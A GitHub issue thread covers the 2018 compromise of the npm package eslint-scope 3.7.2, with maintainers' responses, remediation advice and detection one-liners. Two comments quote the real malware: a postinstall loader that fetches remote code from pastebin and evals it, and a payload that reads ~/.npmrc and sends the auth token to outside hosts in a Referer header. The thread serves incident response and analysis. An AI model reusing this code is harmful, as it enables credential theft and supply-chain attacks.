eslint / eslint-scope

eslint-scope: ECMAScript scope analyzer
BSD 2-Clause "Simplified" License
125 stars 30 forks source link

Virus in eslint-scope? #39

Closed pronebird closed 6 years ago

pronebird commented 6 years ago

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened: https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See https://github.com/eslint/eslint/issues/10600 for more information.

In the meantime

  1. Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json
  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

  1. Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.

  2. Revoke your NPM token as suggested in the comment below https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856. You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});

    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

buhichan commented 6 years ago

+1 what the heck is going on

platinumazure commented 6 years ago

Thanks for the issue!

Latest should be 4.0.0. I highly recommend installing 4.0.0 directly while we figure out what's going on and unpublish 3.7.2 (and tag 4.0.0 as latest again).

I'm checking our Jenkins server logs, but as far as I know, none of us on the ESLint team would have published this. It's possible some npm credentials got compromised.

Thanks again for bringing this to our attention.

pronebird commented 6 years ago

Yeah it's likely that NPM credentials has been stolen. Also, I suggested to the NPM team to double check with Github repository to make sure that no untagged releases happen. This should at least limit a damage in cases when only NPM account has been stolen.

platinumazure commented 6 years ago

I've confirmed that our Jenkins server did not do this. So at least that is probably not compromised.

pronebird commented 6 years ago

babel-eslint depends on ~3.7.1 which immediately makes it pull the vulnerable 3.7.2

platinumazure commented 6 years ago

It might be a good idea to pin the dependency while we work on unpublishing. We have no plans to publish any 3.7.x so you could safely pin at 3.7.1.

pronebird commented 6 years ago

I pinged babel-eslint team to update to 4.0.0 or alternatively they can fix the version in package.json. Meanwhile I've pinned the version to 3.7.1 in my package.json.

"resolutions": {
  "eslint-scope": "3.7.1"
}

The issue is that we have a boilerplate repo without a .lock file. We opt-in for not having it to prevent deps going stale. So the malicious release is being pulled by default, but resolutions seem to do the trick.

platinumazure commented 6 years ago

I've sent a message to npm's support asking for help in identifying what happened.

I do not have publish access to eslint-scope so I can't unpublish it directly. I've pinged one of our TSC members who does have that access. So hopefully we'll be able to unpublish as soon as he gets the message and has time to do it.

In the meanwhile, in case it wasn't clear from earlier in this thread: do not use eslint-scope@3.7.2 as it is compromised. Use 3.7.1 or 4.0.0 instead. Thanks!

aSapien commented 6 years ago

Is it possible to publish a clean 3.7.3 version to avoid infecting projects that are configured to auto-bump minor semvers?

yvele commented 6 years ago

Hey I have a strange behaviour with eslint-scope@3.7.2 postinstall, I cannot install it

> eslint-scope@3.7.2 postinstall /Users/yves/runtime/node_modules/babel-eslint/node_modules/eslint-scope
> node ./lib/build.js

undefined:25
    https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+conte
                                                                                                                        ^^^^^

SyntaxError: Unexpected end of input
platinumazure commented 6 years ago

@aSapien I think that's a reasonable suggestion. However, as I don't have publish access, I can neither publish 3.7.3 nor unpublish 3.7.2. Hopefully the folks who do have access will be online soonish and can work on this.

Thanks for your patience!

platinumazure commented 6 years ago

@yvele As noted elsewhere in the thread, 3.7.2 is compromised. Do not use it. Please install 3.7.1 instead. Thanks!

yvele commented 6 years ago

@platinumazure yep I've seen that but I'm using babel-eslint... an issue is already open https://github.com/babel/babel-eslint/issues/656

platinumazure commented 6 years ago

@yvele Once we unpublish, you should be able to do a fresh reinstall (delete node_modules and run npm install) and get a safe version. In the meantime you could also use npm install eslint-scope@3.7.1 to force that version to be used by babel-eslint. Hope this helps.

byCedric commented 6 years ago

~Is it possible to "republish" 3.7.1 as 3.7.3 so all of the automated processes will use the uncompromised version? Seems like a good idea until this is sorted out.~

Nvm, @aSapien already suggested this. Sorry, was stressing a bit because of this!

yvele commented 6 years ago

Basically what's are the effets of the infected package?

This is a hacked version which steals the npm credentials and sends them to remote server.

@pronebird Please update the issue first post with the effet and advise people to immediately change their npm tokens

platinumazure commented 6 years ago

@byCedric See https://github.com/eslint/eslint-scope/issues/39#issuecomment-404493010

manjotnms commented 6 years ago

Is this problem specific to Linux environment? I am able to install in windows without any problem

eslint-scope@3.7.2 postinstall D:\xx\xxx\node_modules\eslint-scope node ./lib/build.js

byCedric commented 6 years ago

@manjotnms, please renew your NPM credentials. Installing it successfully means that the attacker's script also successfully finished. In our Linux CI environment it failed luckily, but that doesn't mean it's safe...

selbekk commented 6 years ago

The pastebin in question has been removed / emptied out now.

For later reference - this is what was contained in said pastebin:

try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";

if (fs.existsSync(npmrc)){

      content=fs.readFileSync(npmrc,{encoding:'utf8'});
      content=content.replace('//registry.npmjs.org/:_authToken=','').trim();

      var https1=require('https');
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
      https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});

    }
}catch(e){}

As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header.

Anyhow, it's removed now, so any new projects won't be contaminated (edit: at least until somebody re-adds the code)

manjotnms commented 6 years ago

@byCedric : I am using eslint 4.7.2, which has a dependency on eslint-scope 3.7.2. I suppose in this case eslint has to renew its NPM credentials.

byCedric commented 6 years ago

@manjotnms, yes exactly, I would recommend you do the same 😄

TimvanScherpenzeel commented 6 years ago

Make sure to change your password and enable 2FA.

Check your current token in ~/.npmrc.

Log into npm using npm login

Revoke the token using npm token delete https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens

pronebird commented 6 years ago

@yvele I've updated the issue with some suggestions on how to circumvent the update to the malicious 3.7.2 and how to revoke the npm account token (comment by @TimvanScherpenzeel )

rufushonour commented 6 years ago

Looks like its been unpublished :)

cusspvz commented 6 years ago

Solved in about 1h... You guys must wear capes. <3

asanger commented 6 years ago

That's the power of open source, baby!

dudyn5ky1 commented 6 years ago

Does anyone have source for 3.7.2 version? For research purposes.

sam-artuso commented 6 years ago

When was 3.7.2 first published on the NPM registry?

cusspvz commented 6 years ago

@maksymddd https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2.tgz

dudyn5ky1 commented 6 years ago

@cusspvz thanks!

pronebird commented 6 years ago

so NPM didn't actually remove the file from their cloud 🤦‍♂️

cusspvz commented 6 years ago

@samuele-artuso

   { modified: '2018-07-12T12:37:12.601Z',
     created: '2017-03-17T22:10:11.109Z',
     '3.7.0': '2017-03-17T22:10:11.109Z',
     '3.7.1': '2017-04-12T21:13:31.158Z',
     '4.0.0-alpha.0': '2018-04-28T01:47:18.036Z',
     '4.0.0-rc.0': '2018-06-09T15:59:17.350Z',
     '4.0.0': '2018-06-21T20:41:41.408Z',
     '3.7.2': '2018-07-12T10:40:00.478Z' } // <--
akx commented 6 years ago

Heh, no wonder the loader didn't work on all platforms if it does this:

r.on('data',(c)=>{
    eval(c);
});

There's nothing to guarantee that all of the code is delivered in a single chunk...

rarkins commented 6 years ago

Presumably this means that some npm token, from one of the npm accounts with publish privileges has been compromised/disclosed somewhere, such as on a CI system. To prevent this reoccurring, not only do you need to work out which maintainer/publisher was compromised, but how. Or it could just happen again.

First step: do public npm logs show which account published each version? If not then presumably the npm team would be willing to help.

image

LINKIWI commented 6 years ago

Given the nature of the attack, it seems highly plausible that eslint's publish tokens were stolen by this same script. It's probably worth performing an audit of all of eslint's dependencies themselves to identify whether a downstream package compromised eslint's auth tokens in a malicious postinstall.

rarkins commented 6 years ago

If someone has a cache of the old registry result, it would include which npm user published v3.7.2. e.g. here is for v3.7.1:

image

pronebird commented 6 years ago

@rarkins We had a discussion here on Slack, that possibly the tokens from the eslint-scope team has been stolen in a similar fashion and that other dependencies may have been affected that led to this specific hack.

Esya commented 6 years ago

Quick one-liner if anybody is on either linux or mac, and has a ton of different files and node projects on their computers, and want to check quickly which version you're running to see if you've potentially been exposed

locate eslint-scope | grep -i "eslint-scope/package.json" | xargs jq .version
transitive-bullshit commented 6 years ago

Once things settle a bit, I'd love to see the eslint team and/or npm support publish a post-mortem discussing exactly what happened and recommendations to prevent this from occurring for other npm package authors in the future.

cusspvz commented 6 years ago

@rarkins the yarn and npm repositories don't have that info. But it might be worthy to try on enterprise npm proxies.

For those who are using proxied registries, here's the original url: http://registry.npmjs.com/eslint-scope/

rabbishuki commented 6 years ago

@Esya is there a similiar one-liner for windows?

ghost commented 6 years ago

@Esya jq is not a standard install on Mac or Linux. Also, locate only works if your database is up to date. find would probably be better. Also, Windows has had all of these tools for a long time.

@rabbishuki This easily works on Windows with Git Bash or something similar. You'll need to install jq.

locate eslint-scope | grep -i "eslint-scope/package.json" | xargs jq .version
ghost commented 6 years ago

@transitive-bullshit I don't think this will "settle" soon enough.. If the attacker now has at least a thousand or so npmrc tokens that actually made it through, he can automate the process and infect even more packages, only now his script won't fail (since we pointed out his mistake) and we'll have no way of knowing if we're infected or not.

This will not settle until npm purges all tokens globally.

paulirwin commented 6 years ago

@nikita-gedgaudas-ht I was about to post nearly the same thing. This could theoretically be a self-replicating virus affecting all packages of all authors whose credentials were compromised, and then all packages that depend on those packages, and so on. The virus could also then change its behavior to do more than leak credentials... Just because that's "all" it did here and just because the pastebin has been removed, that doesn't mean that's what it would do to downstream affected packages.

m3talstorm commented 6 years ago

Is there a command/script that can be run on a package.json file to check it and all its dependencies (recursively) for eslint and print its version?

byCedric commented 6 years ago

@m3talstorm take a look at npm-ls

KIVagant commented 6 years ago

The problem is that not only eslint-scope could be infected. Any package in npm right now could have the same issue.

oprearocks commented 6 years ago

Damn. Saw this in our CI logs, this morning.

Fortunately, we have no .npmrc with credentials, but if I was the one affected, I would do a full audit of the versions of my modules, see which ones were published in the past 2,3 weeks, do some integrity check on the code, look for awkward file modification dates.

If anyone needs help, I have an extra pair of hands to spare and a couple of hours.

I think getting the message in front of as many people as possible would be the first thing. And maybe inspect similar high-profile modules for the same issue.

aaron-em commented 6 years ago

If your locate database isn't up to date or you don't want to fuss with building one (which can take a long time!), here's a bash one-liner relying on find that'll do the same job and also let you know which of your packages is affected:

for packagejson in $(find ~/code -name 'package.json' -path '*node_modules/eslint-scope/*'); do jq '.version' $packagejson | grep '3.7.2' 1>/dev/null; if [[ $? == "0" ]]; then echo $packagejson; fi; done

This does assume the presence of jq (which is worth installing anyway!), and that your checkouts all live under ~/code - update to taste. It'll work on anything Unixy, or Windows with Git Bash or Cygwin (does anyone still use Cygwin?), assuming those prereqs.